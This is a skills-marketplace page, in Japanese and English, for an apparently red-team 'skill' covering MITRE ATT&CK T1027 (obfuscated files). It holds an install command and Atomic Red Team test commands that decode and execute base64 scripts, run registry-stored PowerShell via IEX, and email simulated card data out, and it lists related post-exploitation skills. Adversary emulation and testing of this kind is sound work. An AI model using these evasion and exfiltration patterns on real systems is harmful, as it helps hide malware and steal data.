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Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill t1027-obfuscated-files-or-informationコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
SOC 職業分類に基づく
SKILL.md を表示中
| name | T1027_obfuscated-files-or-information |
| description | Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. |
| category | configuration |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1027","defense-evasion","esxi","linux","macos","network-devices","windows"] |
| technique_id | T1027 |
| tactic | defense-evasion |
| all_tactics | ["defense-evasion"] |
| platforms | ["ESXi","Linux","macOS","Network Devices","Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1027 |
| tech_stack | ["esxi","linux","macos","network devices","windows"] |
| cwe_ids | ["CWE-693"] |
| chains_with | ["T1027.001","T1027.002","T1027.003","T1027.004","T1027.005","T1027.006","T1027.007","T1027.008","T1027.009","T1027.010","T1027.011","T1027.012","T1027.013","T1027.014","T1027.015","T1027.016","T1027.017"] |
| prerequisites | [] |
| severity_boost | {"T1027.001":"Chain with T1027.001 for deeper attack path","T1027.002":"Chain with T1027.002 for deeper attack path","T1027.003":"Chain with T1027.003 for deeper attack path"} |
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. Adversaries may also use compressed or archived scripts, such as JavaScript.
Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.
Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.
Platforms: ESXi, Linux, macOS, Network Devices, Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Creates a base64-encoded data file and decodes it into an executable shell script
Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes and uname -v
Hello from the Atomic Red TeamSupported Platforms: macos, linux
if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
cat /tmp/encoded.dat | $cmd > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
Dependencies:
Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.
Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"
Supported Platforms: windows
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.
Upon successful execution, powershell will execute encoded command and read/write from the registry.
Supported Platforms: windows
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
Mimic execution of compressed executable. When successfully executed, calculator.exe will open.
Supported Platforms: windows
"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"
Dependencies:
Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
Supported Platforms: windows
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments "#{input_file}" -SmtpServer #{smtp_server}
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Obfuscated Files or Information by examining the target platforms (ESXi, Linux, macOS).
Assess Existing Defenses: Review whether mitigations for T1027 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
Consider periodic review of common fileless storage locations (such as the Registry or WMI repository) to potentially identify abnormal and malicious data.
On Windows 10+, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated payloads.
Ensure that a finite amount of ingress points to a software deployment system exist with restricted access for those required to allow and enable newly deployed software.
Anti-virus can be used to automatically detect and quarantine suspicious files. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10+ to analyze commands after being processed/interpreted.
| Finding | Severity | Impact |
|---|---|---|
| Obfuscated Files or Information technique applicable | Medium | Defense Evasion |
| CWE ID | Title |
|---|---|
| CWE-693 | Protection Mechanism Failure |